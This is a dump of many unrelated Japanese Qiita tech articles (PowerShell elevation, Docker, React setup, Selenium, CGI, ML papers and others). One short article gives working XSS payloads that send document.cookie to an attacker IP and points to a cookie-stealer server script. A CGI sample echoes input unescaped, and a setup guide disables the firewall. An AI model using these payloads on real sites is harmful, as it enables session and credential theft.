OmniAICreator/Qiita-1.07M huggingface dataset:
PowerShellを管理者権限に昇格して実行

以下について記載します。
・PowerShellを監理者権限に昇格して実行したい。
・ps1スクリプト実行時に監理者権限でない場合、自動的に昇格させて実行したい。
<br>

2024/3/30：追記
いつも使ってるbatからps1実行する方法投稿しました。
[超簡単に.Ps1を実行する方法](https://qiita.com/sakekasunuts/items/d80ecae428866f9acdaa)

## 目次
[PowerShellを監理者権限に昇格して実行したい](#PowerShellを監理者権限に昇格して実行したい)
[ps1実行時に自動的に昇格させたい](#ps1実行時に自動的に昇格させたい)


## PowerShellを監理者権限に昇格して実行したい
* WindowsメニューからPowerShellを右クリックし、管理者として実行する。
* もしくは、WindowsメニューからPowerShellを起動し、以下のコマンドを入力
```PowerShell:PowerShell
Start-Process powershell -verb runas
```

コマンド|意味
:--|:--
Start-Process powershell|PowerShellを新しく始めます
-Verb RunAs|管理者権限で

<br>
<br>

## ps1実行時に自動的に昇格させたい
スクリプトの頭にこれを挿入するだけでOK
```PowerShell:hoge.ps1
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole("Administrators")) { Start-Process powershell.exe "-File `"$PSCommandPath`"" -Verb RunAs; exit }
```

#### コードの解説
コード|意味                          |
:--|:--|
if ( ! ( ～～～ ) )|もし（～～～）でなければ|
[Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]<br>::GetCurrent()|現在の実行権限を取得|
.IsInRole("Administrators")|管理者権限|
Start-Process powershell.exe|PowerShellを新しく始めます|
"-File \`"$PSCommandPath\`"|自分自身のフルパスを指定します|
-Verb RunAs|管理者権限で|
; exit|現在のスクリプトを終了します。|

直訳すると
`
現在の実行権限を確認します。
もし管理者権限でなければ、自分自身を管理者権限のPowerShellで新たに起動します。
ついでに現在のスクリプトは終了します
`

##  参考にしたサイト
* [【PowerShell】PowerShellを管理者権限で実行したい！ソースの先頭に埋め込むだけで自動で管理者権限に昇格するスクリプト！](https://correct-log.com/powershell_auto_admin/)
* [PowerShell が管理権限で実行されているか確認する](https://www.vwnet.jp/Windows/PowerShell/HaveIAdministrativePrivileges.htm)
M1 mac Anaconda 「NotWritableError」が出る

M1 mac Anaconda
NotWritableErrorを直す

`sudo chown -R ?? /Users/??/opt/anaconda3`

??にユーザーネームを入力(`id -un`で確認可能)
後半の部分はanacondaがインストールされているディレクトリのパスです。
中に「Anaconda Navigator.app」が入っているディレクトリで間違いないと思います。
部分和問題で詰まったときの思考過程をたどる

これは競技プログラミングで失敗する事例紹介の記事です。華麗な解答も大事ですが、初めて解いたときに詰まった経験を蓄積することは良い教材になると思うので記事にした。

今回は[プログラミングコンテストチャレンジブック](https://www.amazon.co.jp/dp/4839941068)の「気楽にウォーミングアップ」の部分和問題で詰まったときの思考の過程をたどってみる。

```:部分和問題
整数 a_1,...a_n の中から選んで和がちょうど K になる事が可能かどうが判定せよ。
1<=n<=20
-10^8<=a_i<=10^8
-10^8<=K<=10^8
```
## 思考の過程
### Attack 1 : 愚直にいく
　まずは地道に答えを出す方法を考えた。もし愚直なアルゴリズムで済むならそれが一番だから。
部分和のとり方は $a_i$ を使う or 使わないの選択を任意の $i$ で行うことで決まる。これは全部で $2^n$ 通りある。足し算は最大 $n$ 回なので、必要な計算回数はだいたい $n\times 2^n$ 回くらい。$n=20$だとこれヤバそうな感じなので、なにか工夫がいる？

### Attack 2 : 削れる計算過程を探す
愚直にやると、枝分かれして指数的に増える状態ごとに足し算を計算するからヤバい。ならなんとかして葉の部分の計算を削減したいよな。こういうのって途中で出てくる状態が他のとこでも使えるんでしょう、どうせ。適当に例を考えてみるか・・・
***

このへんで詰まる。愚昧な私には何の計算が再利用されてるのかが見えない。

## 反省の過程

### Review 1 : 答えを確認
答えを見ると Attack 1 の方針で深さ優先探索をしてるだけでした。

しかし $n$ の大きさが $n=50$ とかならこの方法は無理じゃんと思って調べると $n=50$ の場合でも、計算量 $O(nk)$ でいく方法がある。それを思いつけなかった時点で詰まったことに変わりない。で、どうやるのかといえば、任意の $l,m$ に対して

整数a_1,...a_lの中から選んで和がちょうどmになる事が可能なら True 不可能なら False

という問題 $(l,m)$ を考えると、３つの問題 $(l,m), (l-1,m), (l-1,m-a_{l})$ の間に漸化式が立つので $l,m$ を小さいものから順に書いていけば $l=n,m=k$ のときの答えが求まるという、動的計画法の典型だそうだ。
　アルゴリズムは何にせよ、どこかで計算の削減してるわけで、今回一体どこに計算を削減する余地があったんだろうか。

### Review 2 : 答えにたどり着けなかったのはなぜ？

節約された計算は結局何だったのか？
考えてわかったのが Attack 2 で節約しようとしたのは $a_i$ たちによって作られる部分和の値そのものの計算過程を、削減対象としていたためうまくいかなかった。今回問われていたのは、部分和が$K$になることが可能か不可能かだったので、削ろうと考えていた対象が間違っていたことに気づいた。だからいくらこの方向で攻めても答えが出ないわけだ。

### 教訓 : 計算を削減したい対象をよく考えよう

しばしば解決したい対象そのものを見誤ることがある。そうなると問題は解けない。落ち着いて自分が今何を解決しようとしてるのかメタ認知する事が大事。
無料簡易機械学習ツール「空飛ぶニューラルネット」が回帰問題に対応しました！

# はじめに
以前無料、会員登録不要、データをアップせずオフラインでも使えるブラウザベースの機械学習ツールとして下記記事で紹介したツールのアップデートとなります。

https://qiita.com/bioelectron2/items/afb148f6efa9050526a1

投稿時点では分類問題のみ対応していましたが、今回のアップデートから回帰問題に対応します。つまり、売り上げなどの数値を予測することができます。

空飛ぶニューラルネット
https://soratobu-nn.net/

# 目次
1. [回帰問題での使い方](#reg)
2. [空飛ぶニューラルネット](#reference)

<a id="#reg"></a>
# 回帰問題での使い方
データ読み込みから予測結果取得までの7ステップをKaggle定番の不動産価格予測を例に紹介します。
操作手順は分類問題とほぼ同じになります。

##### 1.教師データの読込
モデルに学習させたいデータをCSV形式で読み込みます。
![frep1.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2631575/1e9bcae4-c7fc-430d-e17d-f8805366b603.gif)


##### 2.予測したい変数を選択
データに含まれる列から、予測したい変数を選択します。今回は不動産価格予測で回帰問題のため、SalePriceという変数を選択します。
![reg2.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2631575/15cce3bb-b793-db26-5096-c652d0a756a4.gif)

##### 3.学習を実行
データに前処理を施した上で、機械学習モデルに学習させます。early stoppingによりニューラルネットワークの学習が止まった段階で学習完了となります。
また、テーブルの変数名の下にある"削除"というボタンを押せば学習から外すことも可能です。今回はId列が明らかに不要なので削除しています。
![reg3.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2631575/b2670005-867f-14c3-66b3-1e3c3d34eba0.gif)

学習が終わると以下のように予測結果が表示されます。
![ste3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2631575/bf22376b-90db-3309-0be9-d2e88f0d47a7.png)

##### 4.学習状況を確認
学習の進捗とあらかじめ分けておいた検証用データに対する精度を確認することができます。現状では平均絶対誤差が指標および学習中の推移として表示されます。
![reg4.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2631575/4ceea6aa-883e-a358-f077-cb2338f7f27b.gif)

##### 5.予測したいデータの読込
上記で学習させたモデルを適用したいデータを選択します。
![frep2.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2631575/2fe561e0-3088-acc0-600f-f9b0f62987cc.gif)


##### 6.予測を実行
実行すると5で読み込ませたデータに前処理および推論が行われます。
![reg6.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2631575/ed2737fb-3892-414e-92e2-f16f834272d5.gif)


##### 7.結果をファイルに出力
予測結果をダウンロードすることができます。入力変数は前処理がかかっていますが、行の順番は変わっていないので元のデータにコピペして結合することができます。
![reg7.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2631575/ae9767a2-9b89-d386-98d5-f4208eb4693d.gif)


基本的な使い方は以上です。モデルの保存やニューラルネットワークの編集などのより高度な使い方は下記記事の後半部分が参考になります。アップデート予定なども記載しているので是非チェックしてみてください。

https://qiita.com/bioelectron2/items/afb148f6efa9050526a1


<a id="#reference"></a>
# 空飛ぶニューラルネット
現時点ではディープニューラルネットワークのみ対応となり、一般に回帰問題へのDNNは過学習に対するチューニング難易度が高いことで知られており、デフォルトの設定もニューロン数少な目となっています。今後勾配ブースティングも実装予定ですので、ご期待ください。

- [空飛ぶニューラルネット](https://www.soratobu-nn.net/)
ICLR2022の枝刈り論文 (3)

# 概要

この記事では、[ICLR2022](https://iclr.cc/)の枝刈り論文をまとめます。[^1]
[その1](https://qiita.com/kyad/items/b210cc279e4217fe84b8) [その2](https://qiita.com/kyad/items/00b0182a4b7884401aa0)
[^1]: 画像や数式は論文から引用しています。


# Encoding Weights of Irregular Sparsity for Fixed-to-Fixed Model Compression

https://arxiv.org/abs/2105.01869

(ICLR2022 Poster)
概要：枝刈り後のニューラルネットワークを高速に演算する方法。
研究期間：NAVER, Samsung
新規性：[CSR](https://ja.wikipedia.org/wiki/%E7%96%8E%E8%A1%8C%E5%88%97#%E5%9C%A7%E7%B8%AE%E8%A1%8C%E6%A0%BC%E7%B4%8D)は効率が悪いので、CSRを使わない方法を提案した。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2448931/7d4ce660-c3a4-d912-3211-e937c751b21c.png)
キモ：CSRではなく、固定サイズkのベクトルのマスクによる線形結合で重みを表現する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2448931/f4d2f6b3-de10-64a6-27f6-8c8892375948.png)
評価：Transformer, ResNet-50で実験した。


# Unified Visual Transformer Compression

https://arxiv.org/abs/2203.08243

(ICLR2022 Poster)
概要：UVC. ViTの圧縮。
新規性：
(1) Transformerへの圧縮テクニックを組合せてViTに適用して評価した。
(2) フレームワークUVCを提案した。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2448931/6365229d-0ffd-8486-5232-0807fdac6631.png)
キモ：(1)枝刈り(2)ブロックのスキップ(3)蒸留を組合せる。リソースもロスに入れて最適化する。
評価：DeiT-Tiny等で実験した。


# Signing the Supermask: Keep, Hide, Invert

https://arxiv.org/abs/2201.13361

(ICLR2022 Poster)
概要：Signed Supermask. 初期重みを-1, 0, +1倍する枝刈り。([Ternary neural networks](https://arxiv.org/abs/1609.00222)に似ている)
新規性： 初期重みを-1, 0, +1倍するSupermaskを提案した。
キモ：Forward計算の時に(1)式を適用して計算する。Backpropagation時には何もしない。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2448931/1f8c5b65-4f29-c5ea-1818-b6a219c32dc7.png)
評価：ResNet, CIFAR等で実験した。ResNet20, CIFAR-10で精度が約3%落ちる。


# Plant 'n' Seek: Can You Find the Winning Ticket?

https://arxiv.org/abs/2111.11153

(ICLR2022 Poster)
概要：枝刈りのアルゴリズムで疎なネットワークをどれだけ見つけられるかを評価する方法
新規性：大きなネットワークから、疎なネットワークを埋めこむ(plant)方法を提案した。
キモ：$q_\theta(m)$を最小にするように$m$を決める。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2448931/a72bc092-993c-54c1-8c75-c48836141dde.png)
評価：既存方法で得られたネットワークにいくつかの枝刈りアルゴリズムを適用した。得られたネットワークは最適なネットワークにまだ開きがあることを示した。
リバースプロキシで重いコンテンツを扱う

## はじめに

* って愚かしいったらありゃしないって話。
* 普通はCDNとかでキャッシュさせたりするが、しなかったときにどれぐらいの影響が出るか知らんかったので、軽くテストした。

## 構成

* client(ab) --> nginx --> apache
* それぞれが別のH/W上にある
* apacheには2つのコンテンツを搭載
    * target.json - 1.4k
    * 5000x5000.png - 73k

## 結果（リバプロあり）

| | png | json |
|:---:|:---:|:---:|
|Time taken for tests| 46.559 seconds| 6.794 seconds|
|Requests per second|214.78 [#/sec] (mean)|1471.94 [#/sec] (mean)|
|Time per request| 1163.963 [ms] (mean)|169.844 [ms] (mean)|
|Transfer rate|15544.74 [Kbytes/sec] received| 2278.34 [Kbytes/sec] received|

## 結果（リバプロなし）

| | png | json |
|:---:|:---:|:---:|
|Time taken for tests| 23.685 seconds| 3.520 seconds|
|Requests per second|422.21 [#/sec] (mean)|2840.85 [#/sec] (mean)|
|Time per request|  592.128 [ms] (mean)|88.002 [ms] (mean)|
|Transfer rate|30573.23 [Kbytes/sec] received|  4508.18 [Kbytes/sec] received|

## ちゃんとキャッシュしよう

* リバプロって、サーバからのデータ転送を2回やってるわけなのだから、リソースを倍使ってるって思った方がいい。
* そこに重いコンテンツを載せようもんなら、更にプロセスを握っちゃうのでスループットも上がらなくなる。
* 何も良いことがない。
EC-CUBEの環境をDockerとEC-CUBEとphpmyadminでサクッと構築する。


#  前提
　こんな方をを想定しています。
- dockerの環境が正しくインストールできている。
- gitの基礎知識がある方
- dockerの基礎的な知識がある。
- dockerでEC-CUBEの環境を構築したい

# 構築方法
まずはEC-CUBEを構築する予定のワークスペースにEC-CUBEをクローンする。

↓クローン元
https://github.com/EC-CUBE/ec-cube
```
git clone https://github.com/EC-CUBE/ec-cube eccube
```
gitからファイルのクローンが成功したらdocker-compose.ymlファイルにphpmyadminの記述を追加、修正する。
```c#:docker-compose.yml
      ### 同期対象からコストの重いフォルダを除外 #####################
      - "var:/var/www/html/var"
      - "vendor:/var/www/html/vendor"
      - "node_modules:/var/www/html/node_modules"
    environment:
      # EC-CUBE environments
      APP_ENV: "dev"
      APP_DEBUG: 1
      DATABASE_URL: "sqlite:///var/eccube.db"
      DATABASE_SERVER_VERSION: 3
      MAILER_URL: "smtp://mailcatcher:1025"
      ECCUBE_AUTH_MAGIC: "<change.me>"
      # TRUSTED_HOSTS: '^127.0.0.1$$,^localhost$$'
      # ECCUBE_LOCALE: "ja"
      # ECCUBE_TIMEZONE: "Asia/Tokyo"
      # ECCUBE_CURRENCY: "JPY"
      # ECCUBE_ADMIN_ROUTE: "admin"
      # ECCUBE_USER_DATA_ROUTE: "user_data"
      # ECCUBE_ADMIN_ALLOW_HOSTS: []
      # ECCUBE_FORCE_SSL: false
      # ECCUBE_TEMPLATE_CODE: "default"
      # ECCUBE_COOKIE_NAME: "eccube"
      # ECCUBE_COOKIE_PATH: "/"
      # ECCUBE_COOKIE_LIFETIME: 0
      # ECCUBE_GC_MAXLIFETIME: 1440
      # ECCUBE_ADMIN_USER: "admin"
      # ECCUBE_ADMIN_PASS: "password"
    networks:
      - backend
   #↓phpmyadminの記述部分【以下の部分を追加した】
  phpmyadmin:
    image: phpmyadmin/phpmyadmin
    environment:
      - PMA_HOST=mysql
      - PMA_USER=root
      - PMA_PASSWORD=root
    links:
      - mysql
    ports:
      - 4040:80
    volumes:
      - ./phpmyadmin/sessions:/sessions
    networks:
      - backend
     #phpmyadmin部分の追加箇所終了
  ### Mailcatcher ##################################
  mailcatcher:
    image: schickling/mailcatcher
    ports:
      - "1080:1080"
      - "1025:1025"
    networks:
      - backend
```
ymlファイルを修正したらディレクトリには入り、docker環境とデータベース関連の設定を構築するため次のコマンドを入力する。
```
docker-compose -f docker-compose.yml -f docker-compose.mysql.yml up -d
```
キャッシュが残ってしまいDL後の挙動がおかしい場合は以下のコマンドで実行する
```
docker build . --no-cache
```
次にEC-CUBEの環境構築を行うため、次のコマンドを入力する

```
docker-compose exec -u www-data ec-cube bin/console eccube:install
```
EC-CUBEのインストールが完了したら以上でDocker✖️EC-CUBE✖️phpmyadminの環境の完成です。
【Chrome拡張機能】ManifestV3移行

# 自己紹介
こんにちは、うめちゃんです。
ブラウジングを効率化するChrome拡張機能、[CustomBrowsingHistory](https://chrome.google.com/webstore/detail/custom-browsing-history/dklbojjfbmaonbdcgiabhfdindoppbko)を開発しています。

https://chrome.google.com/webstore/detail/custom-browsing-history/dklbojjfbmaonbdcgiabhfdindoppbko

# この記事の概要
Chrome拡張機能の長期的なビジョンの一環として、ManifestV2からV3への移行が求められています。

https://developer.chrome.com/docs/extensions/mv3/intro/

移行についての対応内容は公式ドキュメントを読めば分かると思いますので、今回はこちらのManifestV3移行を私がどのように進めていったのか、案件進行プロセスにフォーカスしてお話ししようと思います。

# 案件進行プロセス
この移行を完了させるためにどんな順番でどんな作業を進めたのかをご紹介します。

## 見積もり
まず、こちらの対応を行うにあたって、いつまでに終わらせるかスケジュールを立てました。
自身の拡張機能の規模感や、ざっと公式ドキュメントを読んだ感じから、大体の対応規模感を想定しました。
個人開発プロジェクトなので基本的には平日夜と土日で開発する想定で、ざっと1週間あれば対応可能だろうと思い、1週間でスケジュールを立てました。

↓タスク・スケジュール管理にはNotionを使用しています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136368/6d1a49e7-bc47-8ac0-f6e8-dc92467a46bd.png)

## 情報収集
見積もりの際にざっと読んだ公式ドキュメントを改めて読みました。
リンクされている関連ページもなるべく読むようにしました。

https://developer.chrome.com/docs/extensions/mv3/intro/

## 情報整理
今回は公式からチェックリストが提供されていたため、それをベースに対応が必要な項目を整理しました。

https://developer.chrome.com/docs/extensions/mv3/mv3-migration-checklist/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136368/93dcf854-f366-1653-7e8d-307ce5c92cd5.png)

## 対応方法の確認
要対応だった項目について、それぞれの対応方法を調査しました。
今回は公式提供のチェックリストページにほぼほぼ対応内容関連のページがリンクされていたので、そちらのリンク先を表に埋めていきました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/136368/49fb9c1e-31c5-1c23-3bf1-8848050f2abd.png)

## 実装
あとは調べた対応方法に沿って手を動かすだけです。

## 動作確認
デグレがないか動作確認しました。
今回ここでキーボードショートカットが動かないことに気付き、チェックリストに載っていないが対応が必要なものがあったことに気付きました。

# おわりに
以上で、ManifestV3移行対応は完了です。
移行しなきゃいけないのは知ってるけどどうやって進めようか悩んでいる方の助けになれば幸いです。
ご精読ありがとうございました。
【Ubuntu22.04】React開発環境構築手順【React】

# はじめに

以下にUbuntu22.04環境におけるReact開発環境構築手順を纏める。
Ubuntu22.04では2022年5月9現在、aptリポジトリのnodejsバージョンは12.22.9である。
本記事では最新版のnode.jsをインストールするための手順を含む。

:::note warn
**「4. node.jsの最新版のリポジトリをインポート」** を実施しない場合は最新版のnodejsがインストールされないので注意する。
:::


# インストール手順
1. パッケージ一覧の更新
    ```bash
    $ sudo apt update -y
    ```

2. パッケージ更新
    ```bash
    $ sudo apt upgrade -y
    ```

3. curlのインストール
    ```bash
    $ sudo apt install curl -y
    ```

4. node.jsの最新版のリポジトリをインポート
    ```bash
    $ curl -fsSL https://deb.nodesource.com/setup_current.x | sudo -E bash -
    ```

5. nodejsのインストール (nodeとnpmを同時にインストールする)
    ```bash
    $ sudo apt install nodejs -y
    ```

6. yarnのインストール
    ```bash
    $ sudo npm install --global yarn
    ```

7. creat-react-appのインストール
    ```bash
    $ yarn global add create-react-app
    ```

8. 正常にインストールされていることを確認する。
    ```bash
    # node のバージョンを確認する
    $ node -v
    v18.1.0

    # npm のバージョンを確認する
    $ npm -v
    8.8.0

    # yarn のバージョンを確認する
    $ yarn -v
    1.22.18
    ```


# 新規プロジェクトの開始
1. アプリケーションの作成
任意のディレクトリで下記コマンドを実行
    ```bash
    $ yarn create react-app ${アプリケーション名}
    ```

2. 作成したアプリケーションディレクトリ直下へ移動する
    ```bash
    $ cd ${アプリケーション名}
    ```

3. 下記コマンドを実行する。
    ```bash
    $ yarn start
    ```

4. ブラウザが起動し下記のReactのデモページが表示されれば成功。
![Screenshot from 2022-05-09 22-14-09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1396975/a1c08e83-c362-2b62-bc94-d57e422c8327.png)
XSSでcookieを取得

# xssでcookieをとるのに便利なツール

https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py

# 使い方

まずはXSS-cookie-stealer.pyを実行する。これでポート8888でサーバがたつ。

```
python XSS-cookie-stealer.py
```

そしたら、xssの攻撃をする。

具体的に以下のようなペイロードを注入してやる（このペイロードは、XSS-cookie-stealer.py中のコメントでお勧めされてるもの）：

```
<script> image = new Image(); image.src='http://X.X.X.X:8888/?'+document.cookie; </script>
```

`X.X.X.X`はアタッカー側のIPアドレス。

ちなみに以下のペイロードでも可能：

```
<img src=x onerror=this.src='http://X.X.X.X:8888/?'%2bdocument.cookie;>
```

でもこれはonerrorに関するループの問題であまりお勧めできないと他の記事で書いてあった。

実際の様子（この例では、cookieがidとusernameとpassword）：
![cookie_stealer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2659122/899d288d-b39e-53aa-106b-982ceb9ab3a5.png)
Dockerのコンテナやイメージを一括で停止する方法


Dockerのコンテナやイメージを一括で削除したかったので、調べてみた結果をメモとして残します。

## 早速ですが結論です。
以下のコマンドを用いることでコンテナやイメージの一括停止や削除が可能です。
```
## 一括コンテナ停止
docker stop $(docker ps -q)

## 一括コンテナ削除
docker rm $(docker ps -q -a)

## 一括イメージ削除
docker rmi $(docker images -q)

## ALL
docker stop $(docker ps -q) && docker rm $(docker ps -q -a) && docker rmi $(docker images -q)
```
 
未使用のボリュームを削除するときは以下のコマンドを使います。
```
docker volume prune

## 強制削除する場合はこちら
docker volume prune -f
```
未使用のnetworkを削除する場合は、以下となります。
```
docker network prune
```
一括でimage、volume、networkを削除する場合は、以下となります。
```
docker system prune
```
Build Cacheを削除する場合は、 以下となります
```
docker builder prune
```
メモのために書きましたが、少しでも参考になれば嬉しい限りです。
pyright flycheckでの構文エラーを消す備忘録

## 1. flycheckでのエラー表示

emacsのlsp-modeでpyrightを使っており、flycheckを使うと困ったことが起きた。
![スクリーンショット 2022-05-09 23.06.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2607844/6b2710cf-518b-b266-4e10-a4c27dd293e0.png)
このように、pandasでdataを代入しても次のdataの時pandasとして認識してもらえないのである。データは実行されるのにエラー表示をされるのは納得いかないので以下のように処置をした。

## 2. アノテーションを使う（応急処置）
本質的な解決にはなっていないがアノテーション`data:Any`とするとエラー表示はされなくなる。
![スクリーンショット 2022-05-09 23.13.49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2607844/024ef03c-a473-e425-e64a-34fdf66f02d0.png)
anyは横暴すぎるが、エラー表示されるイライラからは解放された。
しかしこれだとflycheck同様であったcompanyの補完もうまく表示されないので時間がある時パッケージのstub版を使ってみようと思う。

## 3. 参考文献
https://qiita.com/simonritchie/items/7492d1c1a3c13b2f27aa
seleniumでリンク（aタグ）をクリックできないときの対処

## やりたいこと
seleniumを利用してのウェブスクレイピング。
リンクをクリックしてリンク先へ遷移したいだけなんです。

## できなかったこと
ターゲットとする要素を、文字列指定で特定し、クリック。
しかし、何も起こらず、静かに時を刻むだけ・・・

```python:
from selenium import webdriver

browser = webdriver.Chrome((r'C:\Users\[ユーザ名]\chromedriver.exe')
browser.get([目的のURL])

element_target = browser.find_element_by_link_text([ターゲットとする文字列])
element_target.click()
```
念のため[find_elements_by_link_text]で検索し要素数を確認しても1つだったため、別のお門違いのリンクをクリックしているわけでもなさそう。

「aタグからjavascriptを実行させる」ようになっている場合は、クリックが動作しない場合があるようですが、今回はそのような内容ではありませんでした。

それに、私の記憶が確かならば、上記コードで動作していたものが、ある時から急に動作しなくなりました。


## 仕方なく解決
クリックはもうあきらめ、下記の方法で解決することができました。
リンクをエンターキーで押下する、という方法です。

上述のコードの最後の2行を下記に置き換える感じです。

```python:
from selenium.webdriver.common.keys import Keys

element_target = browser.find_element_by_link_text([ターゲットとする文字列])
element_target.send_keys(Keys.ENTER)
```
しかし、最後までクリックが動作しなくなったのは謎でございます。
Rocky Linux にapacheを入れてcgiを動かす

またRockey Linuxのいじってみつつ久しぶりにcgiを使ってみる

# 開発環境
``` 
macOS Monterey 12.2.1
VirtualBox 6.1
Vagrant 2.2.19
Rocky Linux 8.5
Apache 2.4.37
```

# Rocky Linux 起動 
Vagrantfile
```
Vagrant.configure("2") do |config|
  config.vm.box = "generic/rocky8"
  config.vm.network "public_network", ip: "192.168.0.17"
end
```

vagrant up
vagrant ssh

# apache install

```
sudo yum install httpd
sudo systemctl enable httpd
sudo systemctl start httpd
```
# ブラウザで閲覧できるようにfirewalldを止める
```
systemctl status firewalld
sudo systemctl stop firewalld
systemctl status firewalld
sudo systemctl disable firewalld

sudo reboot
```
# 日本語サポート
```
sudo localectl set-locale LANG=ja_JP.UTF-8
```

# mod_cgiを読み込む
```
sudo vi /etc/httpd/conf/httpd.conf
# LoadModule cgi_module modules/mod_cgi.so 追加

sudo systemctl restart httpd
```

# test cgi用意
```
cat > /var/www/html/form.html <<EOF
<html>
<head>
<title>フォームサンプル</title>
</head>
<body>
<form method="post" action="../cgi-bin/form.cgi">
  <p>
    メッセージ<br>
    <input type="text" name="message" size="20" value="">
  </p>
  <p><input type="submit" value="送信する"></p>
</form>
</body>
</html>
EOF
```
```
cat > /var/www/cgi-bin/form.cgi <<EOF
#!/bin/perl

#送信されたデータを受け取る
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
  read(STDIN, $alldata, $ENV{'CONTENT_LENGTH'});
} else {
  $alldata = $ENV{'QUERY_STRING'};
}
foreach $data (split(/&/, $alldata)) {
  ($key, $value) = split(/=/, $data);

  $value =~ s/\+/ /g;
  $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack('C', hex($1))/eg;
  $value =~ s/\t//g;

  $in{"$key"} = $value;
}

print "Content-Type: text/html;\n\n";
print "<html>\n";
print "<head><title>フォームサンプル</title></head>\n";
print "<body>\n";

#受け取ったデータを表示する
print "<p>入力されたメッセージは$in{'message'}です。</p>\n";

print "</body>\n";
print "</html>\n";

exit;
EOF
```
```
chmod 755 /var/www/cgi-bin/form.cgi
```

![スクリーンショット 2022-05-09 22.53.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307994/e6116b5d-c83e-7145-6d73-63a7c2d28cbc.png)

![スクリーンショット 2022-05-09 22.53.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307994/19e98163-aab3-5df8-7317-1ea0b50d5f84.png)

ちゃんと動きました
IoBでビジネスはどう変わる？

# はじめに
IT×ビジネスという視点で週1本記事を投稿しています。
もし興味のある方は下のリンクから他の記事も見ていただければ幸いです。
 [@7_inai_](https://qiita.com/7_inai_)

# IoBとは
　IoBは __Internet of Behavior__　と __Internet of Bodies__　という2つの意味があります。
1. Internet of Behavior
__行動のインターネット__　という意味があり、個人の行動データを用いて、生活をより快適にするための技術を指します。
2. Internet of Bodies
__人間の身体とインターネットをつなぐ技術__ という意味があり、Internet of Behaviorのためのデータ取得用のデバイスを身体に埋め込むことを指します。

※IoT(Internet of Things)と似た響きですが、IoTの発展系の内の1つがIoBと言えます。

# IoBでビジネスはどう変わる？
　IoBでは人の身体をデータソースとして使用します。データの取得方法も色々あり、ウェアラブル端末・ペースメーカー・顔認識・位置情報等から人の行動や身体の状態をデータとして取得します。このデータを使うことでビジネスがどう変わるのでしょうか？

### ■位置情報の有効活用
普段持ち歩くスマートフォンやスマートウォッチから取得することができる位置情報は非常に有効なデータです。例えば、ブラウザアプリで「天気」とだけ入力すると検索結果のトップに現在地の天気が表示されたり、スマートフォンにアプリをインストールしている企業の店舗に近づくと、キャンペーン情報やクーポンが通知されるのは位置情報を使用しいているからです。

### ■コロナウィルスとIoB
IoBは以前からトレンド技術として挙げられていましたが、コロナウィルスの流行により一段と注目されるようになりました。その理由としては、私たちが普段実施しているコロナ対策とIoBが深く関わっているからです。例えば、カメラに映るだけで発熱しているかわかる熱感知システムや、感染経路を辿るための位置情報の追跡(COCOAが有名)、またマスクをしていながらでも顔認識ができるシステムなどこれらはIoBの技術が取り入れられています。

# 終わりに
IoBはポジティブな面だけでなくネガティブの面も考える必要があります。新型コロナの接触確認アプリCOCOAがリリースされた際もネガティブな面で注目されることも多かったのでご存知の方もいるかと思いますが、人の行動をデータとして取得するということは、プライバシーが侵害される可能性があります。IoBを導入する際は、利便性や合理性のみでなく、正しい倫理観を持って判断することが大切になってきます。


最後までお付き合いくださりありがとうございました。
0. はじめに ~Installing a QRadar data gateway in IBM Cloud~

「~Installing a QRadar data gateway in IBM Cloud~」では、下記リンク先公式ガイドの手順に沿って実施した内容を個人的にまとめています。
https://www.ibm.com/docs/en/qradar-on-cloud?topic=gateway-installing-qradar-data-in-cloud
一部の手順については既存の手順書も参考にしています。

- IBM Cloud や IBM QRadar の仕様、または公式ガイドの内容が実施時点から変更されることがあります。
- 構成や環境によって、設定すべき値や選択すべき項目が異なる場合があります。
- 上記の手順を実施する際は、システム要件やネットワーク構成、IBM Cloud やネットワーク機器の環境準備などを事前に検討及び準備する必要があります。

プロフィールにも記載の通り、これらの記事の内容はあくまで私自身の見解・実施した内容に基づくものであり、私の所属団体・企業における立場、戦略、意見を代表するものではありませんのでご注意ください。
*****
「~Installing a QRadar data gateway in IBM Cloud~」では、公式ガイドの手順番号毎に記事を作成しています。
[0. はじめに ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/f97d0f3263587712d31f)
[1. Download the .vhd image file. ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/d71411c8a8f285ed3011)
[2. Upload the .vhd image file. ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/6064802b2396ee0ad299)
[3. Import the .vhd image. ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/b406f909c937dc2f51bd)
[4. Configure network settings and create the instance. ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/61d33d1f342bac4c5710)
[5. After the instance has a Start Date, configure storage for the instance. ~Installing a QRadar data gateway in IBM Cloud~](https://qiita.com/ririan/private/7af91379d347edc84d90)
